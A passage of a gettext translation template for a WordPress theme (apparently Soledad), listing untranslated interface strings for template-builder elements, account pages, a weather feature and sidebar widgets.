#: inc/template-builder/archive-elements/title.php:319
msgid "Prefix Text: "
msgstr ""

#: inc/template-builder/archive-elements/title.php:321
msgid "Archive Title"
msgstr ""

#: inc/template-builder/init.php:49
msgid ""
"You can check <a href=\"https://soledad.pencidesign.net/soledad-document/"
"#single-builder\" target=\"_blank\">this guide</a> to know how to create "
"your own custom post template."
msgstr ""

#: inc/template-builder/init.php:56
msgid ""
"You can check <a href=\"https://soledad.pencidesign.net/soledad-document/"
"#archive-method2\" target=\"_blank\">this guide</a> to know how to create "
"your own custom category, tag, search, author, archive templates."
msgstr ""

#: inc/template-builder/init.php:151 inc/template-builder/init.php:152
#: inc/template-builder/init.php:153
msgid "Archive Template"
msgstr ""

#: inc/template-builder/init.php:154
msgid "New Archive Template"
msgstr ""

#: inc/template-builder/init.php:155
msgid "Build Archive Template"
msgstr ""

#: inc/template-builder/init.php:156
msgid "Edit Archive Template"
msgstr ""

#: inc/template-builder/init.php:157
msgid "New Archive Template Entry"
msgstr ""

#: inc/template-builder/init.php:158
msgid "View Archive Template"
msgstr ""

#: inc/template-builder/init.php:159
msgid "Search Archive Template"
msgstr ""

#: inc/template-builder/init.php:160 inc/template-builder/init.php:193
msgid "No entry found"
msgstr ""

#: inc/template-builder/init.php:161
msgid "No Archive Template in Trash"
msgstr ""

#: inc/template-builder/init.php:164
msgid "Single Archive Template"
msgstr ""

#: inc/template-builder/init.php:184 inc/template-builder/init.php:185
#: inc/template-builder/init.php:186
msgid "Post Template"
msgstr ""

#: inc/template-builder/init.php:187
msgid "New Post Template"
msgstr ""

#: inc/template-builder/init.php:188
msgid "Build Custom Post Template"
msgstr ""

#: inc/template-builder/init.php:189
msgid "Edit Post Template"
msgstr ""

#: inc/template-builder/init.php:190
msgid "New Custom Post Template Entry"
msgstr ""

#: inc/template-builder/init.php:191
msgid "View Custom Post Template"
msgstr ""

#: inc/template-builder/init.php:192
msgid "Search Custom Post Template"
msgstr ""

#: inc/template-builder/init.php:194
msgid "No Custom Post Template in Trash"
msgstr ""

#: inc/template-builder/init.php:197
msgid "Custom Single Post Template"
msgstr ""

#: inc/template-builder/single-elements/author.php:10
msgid "Post - Author"
msgstr ""

#: inc/template-builder/single-elements/author.php:67
msgid "Avatar Image"
msgstr ""

#: inc/template-builder/single-elements/author.php:148
#: inc/template-builder/single-elements/comments.php:243
msgid "Typography for Author Name"
msgstr ""

#: inc/template-builder/single-elements/author.php:166
msgid "Typography for Author Description"
msgstr ""

#: inc/template-builder/single-elements/breadcrumb.php:10
msgid "Post - Breadcrumb"
msgstr ""

#: inc/template-builder/single-elements/comments.php:11
msgid "Post - Comments"
msgstr ""

#: inc/template-builder/single-elements/comments.php:42
msgid "Move Comment Form to Above the List Comments "
msgstr ""

#: inc/template-builder/single-elements/comments.php:202
msgid "Comments List"
msgstr ""

#: inc/template-builder/single-elements/comments.php:208
#: inc/template-builder/single-elements/comments.php:337
#: inc/template-builder/single-elements/relatedpost.php:358
msgid "Typography for Heading Title"
msgstr ""

#: inc/template-builder/single-elements/comments.php:263
msgid "Typography for Comment Date"
msgstr ""

#: inc/template-builder/single-elements/comments.php:281
msgid "Typography for Comment Content"
msgstr ""

#: inc/template-builder/single-elements/comments.php:293
msgid "Typography for Reply Button"
msgstr ""

#: inc/template-builder/single-elements/comments.php:360
msgid "Typography for Input Text"
msgstr ""

#: inc/template-builder/single-elements/comments.php:382
msgid "Typography for Submit Text"
msgstr ""

#: inc/template-builder/single-elements/comments.php:412
msgid "Typography for Cookie Save Notice"
msgstr ""

#: inc/template-builder/single-elements/comments.php:426
msgid "Typography for GDPR Message"
msgstr ""

#: inc/template-builder/single-elements/content.php:10
msgid "Post - Content"
msgstr ""

#: inc/template-builder/single-elements/content.php:42
#: inc/template-builder/single-elements/smartlists.php:161
msgid ""
"blockquote styles just applies when you use Classic Block or Classic Editor"
msgstr ""

#: inc/template-builder/single-elements/content.php:55
msgid "Style for Heading 1"
msgstr ""

#: inc/template-builder/single-elements/content.php:70
msgid "Style for Heading 2"
msgstr ""

#: inc/template-builder/single-elements/content.php:85
msgid "Style for Heading 3"
msgstr ""

#: inc/template-builder/single-elements/content.php:100
msgid "Style for Heading 4"
msgstr ""

#: inc/template-builder/single-elements/content.php:115
msgid "Style for Heading 5"
msgstr ""

#: inc/template-builder/single-elements/content.php:138
#: inc/template-builder/single-elements/smartlists.php:394
msgid "Typography for General Content"
msgstr ""

#: inc/template-builder/single-elements/content.php:163
#: inc/template-builder/single-elements/smartlists.php:419
#, php-format
msgid "Typography for H%s"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:10
msgid "Post - Custom Field"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:57
msgid "ACF Field"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:65
msgid "Meta Label"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:70
#: inc/template-builder/single-elements/meta.php:41
msgid "Meta Text Align"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:92
msgid "Hide Meta Icon?"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:99
msgid "Display Field as Image"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:100
msgid "Use this option if your custom field are image field"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:107
msgid "Meta Icon"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:121
msgid "Meta Color & Styles"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:127
#: inc/template-builder/single-elements/featured-overlay.php:903
#: inc/template-builder/single-elements/meta.php:529
msgid "Typography for Post Meta"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:191
#: inc/template-builder/single-elements/featured-overlay.php:357
#: inc/template-builder/single-elements/meta.php:207
msgid "Icon Settings"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:209
#: inc/template-builder/single-elements/featured-overlay.php:375
#: inc/template-builder/single-elements/meta.php:225
msgid "Icon Width"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:227
#: inc/template-builder/single-elements/featured-overlay.php:393
#: inc/template-builder/single-elements/meta.php:243
msgid "Icon Borders Radius"
msgstr ""

#: inc/template-builder/single-elements/custom-field.php:236
#: inc/template-builder/single-elements/featured-overlay.php:402
#: inc/template-builder/single-elements/meta.php:252
msgid "Icon Borders Width"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:13
msgid "Post - Featured Image Overlay"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:83
msgid "Breadcrumb Spacing"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:101
msgid "Post Title Spacing"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:110
msgid "Post Sub Title Spacing"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:184
msgid "Hide Post Title"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:190
msgid "Hide Post Sub Title"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:214
msgid "Hide Meta Label?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:242
#: inc/template-builder/single-elements/meta.php:92
msgid "Hide Author?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:249
#: inc/template-builder/single-elements/meta.php:99
msgid "Show Latest Update Author?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:256
#: inc/template-builder/single-elements/meta.php:106
msgid "Hide Author Avatar?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:302
#: inc/template-builder/single-elements/meta.php:152
msgid "Hide Post Date Icon?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:310
#: inc/template-builder/single-elements/meta.php:160
msgid "Hide Post Comments?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:317
#: inc/template-builder/single-elements/meta.php:167
msgid "Hide Post Comment Icon?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:325
#: inc/template-builder/single-elements/meta.php:175
msgid "Hide Post View?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:332
#: inc/template-builder/single-elements/meta.php:182
msgid "Hide Post View Icon?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:340
#: inc/template-builder/single-elements/meta.php:190
msgid "Hide Post Reading Time ?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:347
#: inc/template-builder/single-elements/meta.php:197
msgid "Hide Post Reading Icon?"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:448
#: inc/template-builder/single-elements/meta.php:300
msgid "Author Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:454
#: inc/template-builder/single-elements/meta.php:306
msgid "Post Author Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:492
#: inc/template-builder/single-elements/meta.php:344
msgid "Date Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:498
#: inc/template-builder/single-elements/meta.php:350
msgid "Post Date Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:537
#: inc/template-builder/single-elements/meta.php:389
msgid "Comment Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:543
#: inc/template-builder/single-elements/meta.php:395
msgid "Post Comment Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:582
#: inc/template-builder/single-elements/featured-overlay.php:588
#: inc/template-builder/single-elements/meta.php:434
#: inc/template-builder/single-elements/meta.php:440
msgid "Post View Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:627
#: inc/template-builder/single-elements/meta.php:479
msgid "Reading Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:633
#: inc/template-builder/single-elements/meta.php:485
msgid "Post Reading Icon"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:671
msgid "General Style "
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:701
msgid "Content Width Align"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:754
msgid "Typography for Breadcrumb"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:797
msgid "Typography for Categories"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:897
msgid "General Meta Color & Styles"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:989
msgid "Title Style"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:1001
#: inc/template-builder/single-elements/postpagination.php:127
#: inc/template-builder/single-elements/relatedpost.php:392
#: inc/template-builder/single-elements/title.php:93
msgid "Typography for Post Title"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:1018
#: inc/template-builder/single-elements/subtitle.php:102
#: inc/template-builder/single-elements/title.php:110
msgid "Gradient Color"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:1110
msgid "Sub Title Style"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:1122
#: inc/template-builder/single-elements/subtitle.php:85
msgid "Typography for Post Sub Title"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:1191
msgid "Post Meta Style"
msgstr ""

#: inc/template-builder/single-elements/featured-overlay.php:1203
msgid "Typography for Post Metarmations"
msgstr ""

#: inc/template-builder/single-elements/featured.php:10
msgid "Post - Featured Image"
msgstr ""

#: inc/template-builder/single-elements/featured.php:56
msgid "For gallery post format"
msgstr ""

#: inc/template-builder/single-elements/featured.php:76
msgid "Caption Style"
msgstr ""

#: inc/template-builder/single-elements/featured.php:83
msgid "Typography for Caption Text"
msgstr ""

#: inc/template-builder/single-elements/meta.php:10
msgid "Post - Meta"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:10
msgid "Post - Post Pagination"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:60
msgid "Text: Previous Post"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:66
msgid "Text: Next Post"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:74
msgid "Thumbnail Settings"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:85
msgid "Thumbnail Ratio (%)"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:101
msgid "Thumbnail Borders Radius"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:115
msgid "Typography for Small Text Description"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:143
msgid "Spacing Between Next & Previous Posts"
msgstr ""

#: inc/template-builder/single-elements/postpagination.php:165
msgid "Add Paddding"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:14
msgid "Post - Related Posts"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:51
msgid "Use Custom Heading Style?"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:76
msgid "Related Posts Style"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:426
msgid "Typography for Post Date"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:480
msgid "Borders Outer Color"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:488
msgid "Borders Top"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:498
msgid "Borders Bottom"
msgstr ""

#: inc/template-builder/single-elements/relatedpost.php:511
msgid "Small Borders Bottom on Style 7 & 8"
msgstr ""

#: inc/template-builder/single-elements/share.php:10
msgid "Post - Social Share"
msgstr ""

#: inc/template-builder/single-elements/share.php:55
msgid "Hide Plus Button?"
msgstr ""

#: inc/template-builder/single-elements/share.php:66
msgid "Hide Share Label?"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:10
msgid "Post - Smart Lists"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:46
msgid "Smart Lists Style"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:61
msgid "Smart Lists Content Break"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:62
msgid "Select the heading of the content listing"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:77
msgid "Smart Lists Items Heading Tag"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:100
msgid "Mobile Image Size"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:107
msgid "Number Order"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:118
msgid "Items Spacing"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:140
msgid "Item Content Alignment"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:155
msgid "Entry Content"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:171
msgid "Heading Style"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:187
msgid "Smart Lists Color & Styles"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:198
msgid "Heading Typo"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:215
msgid "Item Number Typo"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:258
msgid "Description Text Typo"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:295
msgid "Navigation Dropdown Typo"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:331
msgid "Button Text Typo"
msgstr ""

#: inc/template-builder/single-elements/smartlists.php:388
msgid "Standard Content Color & Styles"
msgstr ""

#: inc/template-builder/single-elements/subtitle.php:10
msgid "Post - Sub Title"
msgstr ""

#: inc/template-builder/single-elements/subtitle.php:55
msgid "Post Sub Title Align"
msgstr ""

#: inc/template-builder/single-elements/taxonomy.php:14
msgid "Post - Taxonomy"
msgstr ""

#: inc/template-builder/single-elements/taxonomy.php:187
msgid "Label Settings"
msgstr ""

#: inc/template-builder/single-elements/taxonomy.php:432
msgid "Typography for Label"
msgstr ""

#: inc/template-builder/single-elements/title.php:10
msgid "Post - Title"
msgstr ""

#: inc/template-builder/single-elements/title.php:55
msgid "Post Title Align"
msgstr ""

#: inc/template-builder/single-elements/toc.php:14
msgid "Post - Table of Content"
msgstr ""

#: inc/template-builder/single-elements/toc.php:42
msgid "HTMl Tag"
msgstr ""

#: inc/template-builder/single-elements/toc.php:62
msgid "Table of content"
msgstr ""

#: inc/template-builder/single-elements/toc.php:69
msgid "Marker View"
msgstr ""

#: inc/template-builder/single-elements/toc.php:83
msgid "Table of Content Width"
msgstr ""

#: inc/template-builder/single-elements/toc.php:136
msgid "Typography for Heading"
msgstr ""

#: inc/template-builder/single-elements/toc.php:153
msgid "Typography for Parent Heading"
msgstr ""

#: inc/template-builder/single-elements/toc.php:170
msgid "Typography for Child Heading"
msgstr ""

#: inc/template-function.php:341
msgid "-- Default Select -- "
msgstr ""

#: inc/template-function.php:718
msgid "Thumbnail"
msgstr ""

#: inc/template-function.php:1285
msgid "Jetpack Post Views"
msgstr ""

#: inc/template-function.php:1332
msgid "Soledad Recommend Plugins"
msgstr ""

#: inc/templates/edit_account.php:26
msgid "Insert your first name"
msgstr ""

#: inc/templates/edit_account.php:37
msgid "Insert your last name"
msgstr ""

#: inc/templates/edit_account.php:46
msgid "Display Name"
msgstr ""

#: inc/templates/edit_account.php:89
msgid "Contact Info"
msgstr ""

#: inc/templates/edit_account.php:105
msgid "About Yourself"
msgstr ""

#: inc/templates/edit_account.php:110
msgid "Biographical Info"
msgstr ""

#: inc/templates/edit_account.php:127
msgid "Profile Picture"
msgstr ""

#: inc/templates/google_search_result.php:100 search.php:100
#, php-format
msgid "\"%s\""
msgstr ""

#: inc/templates/shop_login.php:58
msgid "<span>Login</span><span>Sign Up</span>"
msgstr ""

#: inc/twitter/dashpage.php:12
msgid "Connect Twitter"
msgstr ""

#: inc/twitter/dashpage.php:44
msgid "You've not connected to any Twitter Account."
msgstr ""

#: inc/twitter/dashpage.php:45
#, php-format
msgid ""
"You can <a class=\"%1$s\" href=\"%2$s\" target=\"_blank\">click here</a> to "
"connect to your Twitter account."
msgstr ""

#: inc/twitter/dashpage.php:49
msgid "Error connect to your Twitter account. Please try to connect later."
msgstr ""

#: inc/user-profile.php:286
msgid "Vk"
msgstr ""

#: inc/user-profile.php:294
msgid "Paypal Email"
msgstr ""

#: inc/user-profile.php:346
msgid "First name should not be empty"
msgstr ""

#: inc/user-profile.php:468
msgid "Penci Account Pages"
msgstr ""

#: inc/weather.php:277
msgid "No weather information available"
msgstr ""

#: inc/weather.php:520
msgid "Sun"
msgstr ""

#: inc/weather.php:521
msgid "Mon"
msgstr ""

#: inc/weather.php:522
msgid "Tue"
msgstr ""

#: inc/weather.php:523
msgid "Wed"
msgstr ""

#: inc/weather.php:524
msgid "Thu"
msgstr ""

#: inc/weather.php:525
msgid "Fri"
msgstr ""

#: inc/weather.php:526
msgid "Sat"
msgstr ""

#: inc/weather.php:546
msgid "Click to get current location weather"
msgstr ""

#: inc/weather.php:705
msgid "Failed to fetch your current loction! try again later!"
msgstr ""

#: inc/widgets/about_widget.php:26
msgid "A widget that displays an About widget"
msgstr ""

#: inc/widgets/about_widget.php:35 inc/widgets/about_widget.php:37
msgid "About Me"
msgstr ""

#: inc/widgets/about_widget.php:218
msgid ""
"Insert your image URL. To get good for load, let use image about 400px width."
"<br>You can check <a href=\"https://www.wpbeginner.com/beginners-guide/how-"
"to-get-the-url-of-images-you-upload-in-wordpress/\" target=\"_blank\" "
"rel=\"noreferrer noopener\">this guide</a> to know how to get URL of an "
"image you upload."
msgstr ""

#: inc/widgets/advanced_categories.php:23
msgid "A widget that displays a list of category"
msgstr ""

#: inc/widgets/advanced_categories.php:31
#: inc/widgets/advanced_categories.php:33
msgid "Advanced Categories"
msgstr ""

#: inc/widgets/advanced_categories.php:356
msgid "Color:"
msgstr ""

#: inc/widgets/advanced_categories.php:365
msgid "Hover Color:"
msgstr ""

#: inc/widgets/advanced_categories.php:374 inc/widgets/search_box.php:190
#: inc/widgets/social_counter.php:505
msgid "Background Color:"
msgstr ""

#: inc/widgets/advanced_categories.php:383 inc/widgets/social_counter.php:513
msgid "Background Hover Color:"
msgstr ""

#: inc/widgets/advanced_categories.php:392
msgid "Borders Color:"
msgstr ""

#: inc/widgets/advanced_categories.php:401
msgid "Borders Hover Color (for Boxed Style):"
msgstr ""

#: inc/widgets/authors_list.php:19
msgid "A widget that displays a list of site authors"
msgstr ""

#: inc/widgets/authors_list.php:27 inc/widgets/authors_list.php:29
msgid "Author List"
msgstr ""

#: inc/widgets/authors_list.php:154
msgid "Author Lists"
msgstr ""

#: inc/widgets/authors_list.php:203
msgid ""
"Hold the \"Ctrl\" on the keyboard and click to select/un-select multiple "
"user roles."
msgstr ""

#: inc/widgets/block_heading.php:26
msgid ""
"A widget that displays the widget heading follow the styles from the theme. "
"It helps if you're using Widget Blocks Editor from WordPress version 5.8"
msgstr ""

#: inc/widgets/buymeacoffee.php:19
msgid "A widget that displays the Buy Me a Coffee account information."
msgstr ""

#: inc/widgets/buymeacoffee.php:27 inc/widgets/buymeacoffee.php:29
#: inc/widgets/buymeacoffee.php:42 inc/widgets/buymeacoffee.php:120
#: inc/widgets/patreon.php:100
msgid "Buy Me a Coffee"
msgstr ""

#: inc/widgets/categories_stylist.php:21
msgid "Categories Stylist"
msgstr ""

#: inc/widgets/categories_stylist.php:235
msgid "Horizontal"
msgstr ""

#: inc/widgets/comments.php:19
msgid "A widget that displays the recent comments with avatar."
msgstr ""

#: inc/widgets/comments.php:122
msgid "Recent Comments"
msgstr ""

#: inc/widgets/facebook_widget.php:26
msgid "A widget will displays a Facebook Page"
msgstr ""

#: inc/widgets/facebook_widget.php:35 inc/widgets/facebook_widget.php:37
msgid "Facebook Page Box"
msgstr ""

#: inc/widgets/lastest_post_widget.php:26
#: inc/widgets/stylisted_articles_count.php:26 inc/widgets/weather.php:25
msgid ""
"A widget that displays your recent posts from all categories or a category"
msgstr ""

#: inc/widgets/lastest_post_widget.php:510
#: inc/widgets/popular_post_widget.php:566
#: inc/widgets/posts_slider_widget.php:358 inc/widgets/product_lists.php:312
#: inc/widgets/stylisted_articles_count.php:375 inc/widgets/web_stories.php:182
msgid ""
"Hold the \"Ctrl\" on the keyboard and click to select/un-select multiple "
"categories."
msgstr ""

#: inc/widgets/lastest_post_widget.php:529
#: inc/widgets/popular_post_widget.php:585
#: inc/widgets/posts_slider_widget.php:377 inc/widgets/product_lists.php:334
#: inc/widgets/stylisted_articles_count.php:394 inc/widgets/web_stories.php:201
msgid ""
"Hold the \"Ctrl\" on the keyboard and click to select/un-select multiple "
"tags."
msgstr ""

#: inc/widgets/lastest_post_widget.php:563
#: inc/widgets/popular_post_widget.php:619
#: inc/widgets/posts_slider_widget.php:411
#: inc/widgets/stylisted_articles_count.php:428
msgid ""
"Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. "
"Check <a href=\"https://imgresources.s3.amazonaws.com/custom-taxonomy.png\" "
"style=\"color: #007cba;\" target=\"_blank\">this image</a> for understand "
"more."
msgstr ""

#: inc/widgets/lastest_post_widget.php:571
#: inc/widgets/popular_post_widget.php:627
#: inc/widgets/posts_slider_widget.php:419
#: inc/widgets/stylisted_articles_count.php:436
msgid ""
"Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. "
"Check <a href=\"https://imgresources.s3.amazonaws.com/custom-taxonomy.png\" "
"style=\"color: #007cba;\" target=\"_blank\">this image</a> for understand "
"more."
msgstr ""

#: inc/widgets/lastest_post_widget.php:578
#: inc/widgets/popular_post_widget.php:634
#: inc/widgets/posts_slider_widget.php:426 inc/widgets/posts_tabs.php:648
#: inc/widgets/stylisted_articles_count.php:443
msgid ""
"Note that: Ignore sticky posts doesn't work if you filter your posts by a "
"taxonomy or multiple taxonomies (categories, tags... ) - because it doesn't "
"support by WordPress itself."
msgstr ""

#: inc/widgets/latest_tweets.php:26
msgid "A widget that displays your latest tweets with a slider"
msgstr ""

#: inc/widgets/latest_tweets.php:34 inc/widgets/latest_tweets.php:36
msgid "Twitter Feed"
msgstr ""

#: inc/widgets/latest_tweets.php:174
msgid "Tweets"
msgstr ""

#: inc/widgets/list_banner.php:26
msgid ""
"A widget helps you display a banner or multi-banners on your sidebar. You "
"also can use this widget to display your featured categories/posts/pages.. "
"Everything is custom"
msgstr ""

#: inc/widgets/list_banner.php:35 inc/widgets/list_banner.php:37
msgid "List Banners"
msgstr ""

#: inc/widgets/login_register_widgets.php:17
msgid "A widget that displays a login or register widget"
msgstr ""

#: inc/widgets/login_register_widgets.php:182
msgid ""
"Please note that when a user is logged in, the registration form will be "
"hidden.<br>And if you select to show \"Register\" form, you need to go to "
"Dashboard > Settings > General > on \"Membership\" select \"Anyone can "
"register\" to make the Register form displays."
msgstr ""

#: inc/widgets/patreon.php:19
msgid "A widget that displays the Patreon account information."
msgstr ""

#: inc/widgets/patreon.php:27 inc/widgets/patreon.php:29
#: inc/widgets/patreon.php:42
msgid "Paetron"
msgstr ""

#: inc/widgets/pinterest_widget.php:244
msgid "The pinterest data is not set, please check the ID"
msgstr ""

#: inc/widgets/pinterest_widget.php:246
msgid "Invalid pinterest data for  <strong>"
msgstr ""

#: inc/widgets/pinterest_widget.php:287
msgid "A widget that display pinterest widget."
msgstr ""

#: inc/widgets/pinterest_widget.php:296 inc/widgets/pinterest_widget.php:299
msgid "Pinterest Widget"
msgstr ""

#: inc/widgets/popular_post_widget.php:26
msgid ""
"A widget that displays your popular posts from all categories or a category"
msgstr ""

#: inc/widgets/posts_slider_widget.php:26
msgid ""
"A widget that displays your latest/popular posts from all categories or a "
"category with a slider"
msgstr ""

#: inc/widgets/posts_slider_widget.php:34
#: inc/widgets/posts_slider_widget.php:36
#: inc/widgets/posts_slider_widget.php:271
msgid "Posts Slider"
msgstr ""

#: inc/widgets/posts_tabs.php:19
msgid "A widget that displays a tabs with listing posts."
msgstr ""

#: inc/widgets/price_filter.php:17 inc/widgets/price_filter.php:30
msgid "Price filter"
msgstr ""

#: inc/widgets/price_filter.php:19
msgid "Price filter list"
msgstr ""

#: inc/widgets/price_filter.php:36
msgid "Show empty price ranges"
msgstr ""

#: inc/widgets/price_filter.php:37
msgid ""
"May increase this widget performance if you have a lot of products in your "
"store."
msgstr ""

#: inc/widgets/product_filter.php:26
msgid "All categories"
msgstr ""

#: inc/widgets/product_filter.php:45 inc/woocommerce/woocommerce.php:150
msgid "Product Filter"
msgstr ""

#: inc/widgets/product_filter.php:47
msgid ""
"Shows a custom attribute in a widget which lets you narrow down the list of "
"products when viewing product categories."
msgstr ""

#: inc/widgets/product_filter.php:89
msgid "Display type"
msgstr ""

#: inc/widgets/product_filter.php:91
msgid "list"
msgstr ""

#: inc/widgets/product_filter.php:92
msgid "2 columns"
msgstr ""

#: inc/widgets/product_filter.php:93
msgid "inline"
msgstr ""

#: inc/widgets/product_filter.php:102
msgid "Only work with Color & Image Attribute Type"
msgstr ""

#: inc/widgets/product_filter.php:104
msgid "normal"
msgstr ""

#: inc/widgets/product_filter.php:105
msgid "large"
msgstr ""

#: inc/widgets/product_filter.php:106
msgid "small"
msgstr ""

#: inc/widgets/product_filter.php:115 inc/widgets/product_filter.php:125
#: inc/widgets/product_filter.php:136
msgid "ON"
msgstr ""

#: inc/widgets/product_filter.php:116 inc/widgets/product_filter.php:126
#: inc/widgets/product_filter.php:135
msgid "OFF"
msgstr ""

#: inc/widgets/product_filter.php:123
msgid "Show product count number"
msgstr ""

#: inc/widgets/product_filter.php:133
msgid "Show tooltips"
msgstr ""

#: inc/widgets/product_filter.php:305
#, php-format
msgid "Any %s"
msgstr ""

#: inc/widgets/product_filter.php:320
msgid "No matches found"
msgstr ""

#: inc/widgets/product_filter.php:347
msgid "Apply"
msgstr ""

#: inc/widgets/product_lists.php:18
msgid ""
"A widget that displays your recent products from all categories or a category"
msgstr ""

#: inc/widgets/product_lists.php:27
msgid "Products List"
msgstr ""

#: inc/widgets/product_sorting.php:18
msgid "WooCommerce Sort by"
msgstr ""

#: inc/widgets/product_sorting.php:20
msgid "Sort products by name, price, popularity etc."
msgstr ""

#: inc/widgets/product_sorting.php:53
msgid "Popularity"
msgstr ""

#: inc/widgets/product_sorting.php:54
msgid "Average rating"
msgstr ""

#: inc/widgets/product_sorting.php:55
msgid "Newness"
msgstr ""

#: inc/widgets/product_sorting.php:56
msgid "Price: low to high"
msgstr ""

#: inc/widgets/product_sorting.php:57
msgid "Price: high to low"
msgstr ""

#: inc/widgets/product_stock_status.php:8
msgid "Filter stock and on-sale products"
msgstr ""

#: inc/widgets/quote_widget.php:26
msgid "A widget that displays an quote widget on your sidebar"
msgstr ""

#: inc/widgets/quote_widget.php:35 inc/widgets/quote_widget.php:37
msgid "Quote"
msgstr ""

#: inc/widgets/related_post_widget.php:26
msgid ""
"A widget that displays your related posts based on currently viewing posts. "
"Note that this widget just appears on single post pages only."
msgstr ""

#: inc/widgets/search_box.php:19
msgid "A widget that displays the search form"
msgstr ""

#: inc/widgets/search_box.php:27 inc/widgets/search_box.php:29
msgid "Search Box"
msgstr ""

#: inc/widgets/search_box.php:199 inc/widgets/social_counter.php:521
msgid "Border Color:"
msgstr ""

#: inc/widgets/search_box.php:208
msgid "Search Input Text Color:"
msgstr ""

#: inc/widgets/search_box.php:217
msgid "Button/Icon Text Color:"
msgstr ""

#: inc/widgets/search_box.php:226
msgid "Button/Icon Hover Text Color:"
msgstr ""

#: inc/widgets/search_box.php:235
msgid "Button/Icon Background Color:"
msgstr ""

#: inc/widgets/search_box.php:244
msgid "Button/Icon Hover Background Color:"
msgstr ""

#: inc/widgets/snapchat.php:19
msgid "A widget that displays the Snapchat account information."
msgstr ""

#: inc/widgets/snapchat.php:99
msgid "Follow Me"
msgstr ""

#: inc/widgets/social_counter.php:320
msgid "Social Media URLs from Customizer ( no Counter )"
msgstr ""

#: inc/widgets/social_counter.php:369
msgid "Brand Background"
msgstr ""

#: inc/widgets/social_counter.php:370
msgid "Brand Text"
msgstr ""

#: inc/widgets/social_counter.php:482
msgid "Icon Size: (Number only)"
msgstr ""

#: inc/widgets/social_counter.php:529
msgid "Border Hover Color:"
msgstr ""

#: inc/widgets/social_counter.php:537
msgid "Icon Color:"
msgstr ""

#: inc/widgets/social_counter.php:545
msgid "Icon Hover Color:"
